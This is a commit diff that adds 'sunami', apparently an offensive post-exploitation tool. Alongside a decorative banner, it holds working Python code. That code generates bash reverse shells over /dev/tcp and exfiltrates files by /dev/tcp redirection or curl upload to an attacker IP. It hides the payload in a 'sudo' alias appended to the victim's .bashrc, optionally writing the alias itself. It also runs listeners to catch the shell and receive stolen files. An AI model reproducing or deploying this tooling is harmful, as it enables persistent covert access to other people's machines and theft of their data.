Add files via upload

main
witchdocsec 2023-06-11 22:40:23 +01:00 committed by GitHub
parent 0549cd5380
commit 2e778d18c3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 151 additions and 0 deletions

27
lib/banner.py Normal file
View File

@ -0,0 +1,27 @@
subanner='''\033[48;2;41;171;226m \033[48;2;36;127;192m \033[m
\033[48;2;41;171;226m \033[38;2;40;159;217;48;2;41;171;226m\033[38;2;36;121;187;48;2;36;127;192m\033[m
\033[48;2;41;171;226m \033[38;2;33;134;176;48;2;41;171;226m\033[38;2;31;123;162;48;2;41;171;226m\033[38;2;33;134;176;48;2;41;171;226m\033[48;2;41;171;226m \033[38;2;39;150;210;48;2;39;151;210m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;40;165;218;48;2;41;171;226m\033[38;2;27;107;140;48;2;41;171;226m\033[38;2;7;7;7;48;2;38;157;207m\033[38;2;7;7;7;48;2;17;55;71m\033[38;2;7;7;7;48;2;9;18;21m\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;9;18;21m\033[38;2;7;7;7;48;2;17;55;71m\033[38;2;7;7;7;48;2;38;157;207m\033[38;2;26;97;128;48;2;41;171;226m\033[38;2;40;165;218;48;2;41;171;226m\033[48;2;41;171;226m \033[48;2;39;150;210m \033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;13;34;43;48;2;41;171;226m\033[38;2;7;7;7;48;2;18;60;78m\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;18;60;78m\033[38;2;13;34;43;48;2;41;171;226m\033[48;2;41;171;226m \033[48;2;39;150;210m \033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;40;168;221;48;2;41;171;226m\033[38;2;16;53;69;48;2;35;143;188m\033[38;2;7;7;7;48;2;10;20;24m\033[38;2;65;65;65;48;2;7;7;7m\033[38;2;233;233;233;48;2;61;61;61m\033[38;2;255;255;255;48;2;100;100;100m\033[38;2;245;245;245;48;2;81;81;81m\033[38;2;205;205;205;48;2;10;10;10m\033[48;2;7;7;7m \033[38;2;205;205;205;48;2;10;10;10m\033[38;2;245;245;245;48;2;81;81;81m\033[38;2;255;255;255;48;2;100;100;100m\033[38;2;233;233;233;48;2;61;61;61m\033[38;2;65;65;65;48;2;7;7;7m\033[38;2;7;7;7;48;2;9;19;23m\033[38;2;15;47;61;48;2;34;139;183m\033[38;2;40;167;221;48;2;41;171;226m\033[48;2;41;171;226m \033[38;2;36;123;189;48;2;39;150;210m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[48;2;40;164;217m \033[48;2;7;7;7m \033[38;2;148;148;148;48;2;10;10;10m\033[38;2;68;68;68;48;2;187;187;187m\033[38;2;0;0;0;48;2;6;6;6m\033[48;2;0;0;0m \033[38;2;0;0;0;48;2;110;110;110m\033[38;2;244;244;244;48;2;253;253;253m\033[38;2;220;220;220;48;2;162;162;162m\033[38;2;39;39;39;48;2;7;7;7m\033[38;2;136;136;136;48;2;162;162;162m\033[38;2;0;0;0;48;2;182;182;182m\033[48;2;0;0;0m \033[38;2;75;75;75;48;2;218;218;218m\033[48;2;255;255;255m \033[38;2;148;148;148;48;2;10;10;10m\033[48;2;7;7;7m \033[48;2;40;164;217m \033[48;2;41;171;226m \033[38;2;40;169;223;48;2;41;171;226m\033[38;2;22;81;105;48;2;41;171;226m\033[38;2;15;48;62;48;2;39;160;211m\033[38;2;24;91;119;48;2;39;161;213m\033[48;2;41;171;226m \033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;7;7;7;48;2;10;23;27m\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;215;215;215m\033[38;2;214;214;214;48;2;8;8;8m\033[38;2;34;34;34;48;2;0;0;0m\033[38;2;2;2;2;48;2;0;0;0m\033[38;2;69;69;69;48;2;0;0;0m\033[38;2;249;249;249;48;2;244;244;244m\033[38;2;162;162;162;48;2;213;213;213m\033[38;2;7;7;7;48;2;35;35;35m\033[38;2;7;7;7;48;2;37;37;37m\033[38;2;162;162;162;48;2;186;186;186m\033[38;2;112;112;112;48;2;0;0;0m\033[48;2;0;0;0m \033[38;2;157;157;157;48;2;75;75;75m\033[48;2;255;255;255m \033[38;2;7;7;7;48;2;215;215;215m\033[48;2;7;7;7m \033[38;2;7;7;7;48;2;10;23;27m\033[48;2;41;171;226m \033[38;2;38;155;205;48;2;41;171;226m\033[38;2;20;72;94;48;2;41;169;223m\033[38;2;7;7;7;48;2;38;157;208m\033[48;2;7;7;7m \033[38;2;12;29;36;48;2;7;7;7m\033[38;2;36;145;191;48;2;31;123;162m\033[48;2;41;171;226m \033[38;2;35;118;185;48;2;40;161;220m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[48;2;7;7;7m \033[38;2;7;7;7;48;2;102;102;102m\033[38;2;7;7;7;48;2;232;232;232m\033[38;2;19;15;10;48;2;224;224;224m\033[38;2;182;128;44;48;2;242;242;242m\033[38;2;251;176;59;48;2;252;189;91m\033[38;2;251;176;59;48;2;240;174;72m\033[38;2;251;176;59;48;2;220;155;52m\033[38;2;251;176;59;48;2;240;174;72m\033[38;2;251;176;59;48;2;250;187;89m\033[38;2;188;132;46;48;2;223;223;223m\033[38;2;20;16;10;48;2;223;223;223m\033[38;2;7;7;7;48;2;255;255;255m\033[38;2;7;7;7;48;2;102;102;102m\033[48;2;7;7;7m \033[38;2;23;82;107;48;2;41;171;226m\033[38;2;7;8;9;48;2;41;171;226m\033[38;2;7;7;7;48;2;10;23;29m\033[48;2;7;7;7m \033[38;2;9;15;17;48;2;7;7;7m\033[38;2;41;171;226;48;2;17;55;71m\033[48;2;41;171;226m \033[38;2;38;141;203;48;2;41;171;226m\033[38;2;35;116;183;48;2;35;118;185m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[48;2;7;7;7m \033[38;2;34;25;13;48;2;37;28;13m\033[38;2;237;166;56;48;2;251;176;59m\033[48;2;251;176;59m \033[38;2;237;166;56;48;2;251;176;59m\033[38;2;34;25;13;48;2;37;28;13m\033[48;2;7;7;7m \033[38;2;23;82;107;48;2;7;7;7m\033[38;2;41;171;226;48;2;30;116;153m\033[48;2;41;171;226m \033[38;2;40;158;216;48;2;40;166;222m\033[38;2;35;116;183;48;2;36;123;189m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;34;139;183;48;2;41;171;226m\033[38;2;8;10;11;48;2;29;115;151m\033[48;2;7;7;7m \033[38;2;8;8;7;48;2;78;56;22m\033[38;2;241;169;57;48;2;246;173;58m\033[48;2;251;176;59m \033[38;2;241;169;57;48;2;246;173;58m\033[38;2;8;8;7;48;2;78;56;22m\033[48;2;7;7;7m \033[38;2;40;164;217;48;2;8;11;12m\033[38;2;41;171;226;48;2;33;131;172m\033[48;2;41;171;226m \033[38;2;37;134;197;48;2;41;171;226m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;31;122;161;48;2;41;171;226m\033[38;2;8;14;16;48;2;31;122;161m\033[48;2;7;7;7m \033[38;2;114;114;114;48;2;7;7;7m\033[38;2;204;204;204;48;2;7;7;7m\033[38;2;253;215;156;48;2;251;176;59m\033[48;2;251;176;59m \033[38;2;253;215;156;48;2;251;176;59m\033[38;2;204;204;204;48;2;7;7;7m\033[38;2;114;114;114;48;2;7;7;7m\033[48;2;7;7;7m \033[38;2;35;144;190;48;2;10;20;24m\033[38;2;41;171;226;48;2;33;133;175m\033[48;2;41;171;226m \033[38;2;36;124;189;48;2;40;162;219m\033[38;2;35;116;183;48;2;36;123;188m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;38;158;209;48;2;41;171;226m\033[38;2;13;35;45;48;2;37;153;201m\033[38;2;7;7;7;48;2;10;22;26m\033[48;2;7;7;7m \033[38;2;117;117;117;48;2;7;7;7m\033[38;2;255;255;255;48;2;83;83;83m\033[48;2;255;255;255m \033[38;2;255;255;255;48;2;252;205;132m\033[48;2;255;255;255m \033[38;2;255;255;255;48;2;83;83;83m\033[38;2;117;117;117;48;2;7;7;7m\033[48;2;7;7;7m \033[38;2;21;72;94;48;2;39;161;213m\033[48;2;41;171;226m \033[38;2;41;170;225;48;2;41;171;226m\033[38;2;36;127;192;48;2;40;166;222m\033[38;2;35;116;183;48;2;36;121;187m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;36;149;197;48;2;41;171;226m\033[38;2;12;33;42;48;2;40;166;219m\033[48;2;7;7;7m \033[38;2;160;160;160;48;2;80;80;80m\033[48;2;255;255;255m \033[38;2;160;160;160;48;2;80;80;80m\033[48;2;7;7;7m \033[38;2;13;30;43;48;2;14;40;52m\033[38;2;35;116;183;48;2;38;140;202m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;11;27;34;48;2;41;171;226m\033[38;2;7;7;7;48;2;10;21;26m\033[48;2;7;7;7m \033[38;2;17;53;68;48;2;7;7;7m\033[38;2;14;41;52;48;2;7;7;7m\033[38;2;7;9;10;48;2;7;7;7m\033[48;2;7;7;7m \033[38;2;71;71;71;48;2;7;7;7m\033[48;2;255;255;255m \033[38;2;71;71;71;48;2;7;7;7m\033[48;2;7;7;7m \033[38;2;8;13;16;48;2;12;26;38m\033[38;2;27;85;133;48;2;34;110;174m\033[48;2;35;116;183m \033[m
\033[48;2;41;171;226m \033[38;2;40;164;221;48;2;41;171;226m\033[38;2;38;142;203;48;2;30;118;155m\033[38;2;35;116;183;48;2;8;13;15m\033[38;2;35;116;183;48;2;7;7;7m\033[38;2;35;116;183;48;2;27;84;131m\033[38;2;35;116;183;48;2;36;130;193m\033[38;2;35;116;183;48;2;29;99;146m\033[38;2;13;30;43;48;2;9;14;18m\033[48;2;7;7;7m \033[48;2;224;224;224m \033[48;2;255;255;255m \033[48;2;224;224;224m \033[48;2;7;7;7m \033[38;2;13;30;43;48;2;9;14;18m\033[38;2;35;116;183;48;2;28;87;137m\033[48;2;35;116;183m \033[m
\033[38;2;35;118;185;48;2;41;171;226m\033[38;2;35;117;184;48;2;39;152;211m\033[48;2;35;116;183m \033[48;2;13;30;43m \033[48;2;7;7;7m \033[38;2;100;100;100;48;2;7;7;7m\033[38;2;249;249;249;48;2;224;224;224m\033[48;2;255;255;255m \033[38;2;249;249;249;48;2;224;224;224m\033[38;2;100;100;100;48;2;7;7;7m\033[48;2;7;7;7m \033[48;2;13;30;43m \033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;21;62;96m\033[48;2;7;7;7m \033[38;2;47;47;47;48;2;108;108;108m\033[38;2;235;235;235;48;2;252;252;252m\033[48;2;255;255;255m \033[38;2;235;235;235;48;2;252;252;252m\033[38;2;47;47;47;48;2;108;108;108m\033[48;2;7;7;7m \033[38;2;35;116;183;48;2;21;62;96m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;33;108;169;48;2;29;93;147m\033[38;2;14;33;48;48;2;7;7;7m\033[48;2;7;7;7m \033[48;2;224;224;224m \033[48;2;255;255;255m \033[48;2;224;224;224m \033[48;2;7;7;7m \033[38;2;14;33;48;48;2;7;7;7m\033[38;2;33;108;169;48;2;29;93;147m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;113;138;138;48;2;35;116;183m\033[38;2;158;150;112;48;2;37;117;182m\033[38;2;251;176;59;48;2;44;119;178m\033[38;2;251;176;59;48;2;17;14;9m\033[38;2;251;176;59;48;2;225;222;217m\033[38;2;251;176;59;48;2;255;252;247m\033[38;2;251;181;72;48;2;255;252;248m\033[38;2;253;219;165;48;2;255;255;255m\033[38;2;255;253;251;48;2;255;255;255m\033[48;2;255;255;255m \033[38;2;255;253;251;48;2;255;255;255m\033[38;2;253;219;165;48;2;255;255;255m\033[38;2;251;181;72;48;2;255;252;248m\033[38;2;251;176;59;48;2;255;252;247m\033[38;2;251;176;59;48;2;225;222;217m\033[38;2;251;176;59;48;2;17;14;9m\033[38;2;251;176;59;48;2;44;119;178m\033[38;2;158;150;112;48;2;37;117;182m\033[38;2;113;138;138;48;2;35;116;183m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;85;86;133;48;2;35;116;183m\033[38;2;98;132;146;48;2;35;116;183m\033[38;2;251;176;59;48;2;165;152;108m\033[38;2;251;176;59;48;2;245;174;62m\033[48;2;251;176;59m \033[38;2;251;176;59;48;2;251;185;82m\033[38;2;252;206;132;48;2;255;255;255m\033[48;2;255;255;255m \033[38;2;252;206;132;48;2;255;255;255m\033[38;2;251;176;59;48;2;251;185;82m\033[48;2;251;176;59m \033[38;2;251;176;59;48;2;245;174;62m\033[38;2;251;176;59;48;2;165;152;108m\033[38;2;217;59;26;48;2;35;116;183m\033[38;2;203;14;14;48;2;35;116;183m\033[38;2;99;77;118;48;2;35;116;183m\033[38;2;85;86;133;48;2;35;116;183m\033[38;2;78;90;140;48;2;35;116;183m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;70;95;148m\033[38;2;140;52;78;48;2;154;43;63m\033[38;2;183;26;34;48;2;204;13;13m\033[38;2;194;19;23;48;2;204;13;13m\033[38;2;204;13;13;48;2;249;169;57m\033[38;2;204;13;13;48;2;251;176;59m\033[38;2;204;13;13;48;2;239;141;68m\033[38;2;204;13;13;48;2;219;84;84m\033[38;2;204;13;13;48;2;239;141;68m\033[38;2;204;13;13;48;2;251;176;59m\033[38;2;204;13;13;48;2;249;169;57m\033[48;2;204;13;13m \033[38;2;198;17;19;48;2;204;13;13m\033[38;2;183;26;34;48;2;204;13;13m\033[38;2;183;26;34;48;2;198;17;19m\033[38;2;103;75;115;48;2;90;83;128m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[38;2;35;116;183;48;2;75;92;143m\033[38;2;35;116;183;48;2;112;69;105m\033[38;2;42;112;176;48;2;202;14;15m\033[38;2;42;112;176;48;2;204;13;13m\033[38;2;38;114;180;48;2;150;46;67m\033[38;2;35;116;183;48;2;112;69;105m\033[38;2;35;116;183;48;2;90;82;127m\033[38;2;35;116;183;48;2;36;116;182m\033[48;2;35;116;183m \033[m
\033[48;2;35;116;183m \033[m
'''
with open("lib/banner.txt","r") as b:
subanner+=f"\n{b.read()}"

8
lib/banner.txt Normal file
View File

@ -0,0 +1,8 @@
_____ _ _ _
/ ____| | | | | (_)
| (___ | | | | _ __ __ _ _ __ ___ _
\___ \ | | | | | '_ \ / _` | | '_ ` _ \ | |
____) | | |__| | | | | | | (_| | | | | | | | | |
|_____/ \____/ |_| |_| \__,_| |_| |_| |_| |_|

20
lib/parsing.py Normal file
View File

@ -0,0 +1,20 @@
import argparse
def parser():
parser=argparse.ArgumentParser(description="sunami argument parser")
parser.add_argument("-local", choices=["1","0"], default="0")
subparse=parser.add_subparsers(dest="command")
genshellparser=subparse.add_parser("genshell")
genshellparser.add_argument("--ip")
genshellparser.add_argument("--port")
genshellparser.add_argument("-shell", default="/bin/bash")
genshellparser.add_argument("-protocol", default="tcp")
genshellparser.add_argument("-listen", choices=["1","0"], default="0")
exfilfileparser=subparse.add_parser("exfilfile")
exfilfileparser.add_argument("--file")
exfilfileparser.add_argument("--method", choices=["postflask","nc","pysocket"])
exfilfileparser.add_argument("--ip")
exfilfileparser.add_argument("--port")
args = parser.parse_args()
return args

10
lib/payloads.py Normal file
View File

@ -0,0 +1,10 @@
class Shells:
class Rev:
def bash(ip,port,shell,protocol):
return f"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 &"
class Exfil:
def socket(ip,port,file):
return f"cat {file} >& /dev/tcp/{ip}/{port} &"
def pflask(ip, port, file):
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "

86
sunami.py Normal file
View File

@ -0,0 +1,86 @@
import lib.payloads as payloads
import lib.parsing as parsing
import lib.banner
import socket
import os
import sys
import time
print(lib.banner.subanner)
args=parsing.parser()
result=""
escapedres=""
def routeres(comm, local):
match local:
case "0":
display(comm)
case "1":
localexec(comm)
def display(comm):
result=f"alias sudo=\"sudo {comm} sudo\";"
pastetemp=f"paste the following into the infected sudoers .bashrc file:\n\t{result}"
escapedres=result.replace("\"","\\\"")
runtemp=f"or run the following command:\n\techo \"{escapedres}\" >> $HOME/.bashrc\n"
print(pastetemp)
print(runtemp)
def localexec(comm):
result=f"alias sudo=\"sudo {comm} sudo\";"
home=os.environ["HOME"]
with open(f"{home}/.bashrc","a") as rc:
rc.write(f"\n{result}")
if args.command == "genshell":
cmd=""
comm=payloads.Shells.Rev.bash(args.ip, args.port, args.shell, args.protocol)
routeres(comm,args.local)
if args.listen == "1":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((args.ip, int(args.port)))
s.listen(1)
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(1024).decode("utf-8")
sys.stdout.write(data)
cmd=input()
cmd+="\n"
conn.send(cmd.encode("utf-8"))
time.sleep(1)
sys.stdout.write("\033[A" + data.split("\n")[-1])
else:
print(f"on your machine run the following:\n\tnc -lvnp{args.port}")
if args.command == "exfilfile":
if args.method == "postflask":
comm=payloads.Exfil.pflask(args.ip, args.port, args.file)
routeres(comm, args.local)
from flask import Flask, request
app = Flask(__name__)
@app.route("/up",methods=["POST"])
def upl():
if request.files["file"]:
print(request.files["file"].read())
return ""
if __name__ == "__main__":
app.run(host=args.ip, port=int(args.port))
else:
comm=payloads.Exfil.socket(args.ip, args.port, args.file)
routeres(comm,args.local)
if args.method == "pysocket":
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((args.ip, int(args.port)))
s.listen()
conn, addr = s.accept()
with conn:
while True:
data = conn.recv(1024)
if data:
print(data)
break
if args.method == "nc":
print(f"on your machine run the following:\n\tnc -lvnp{args.port}")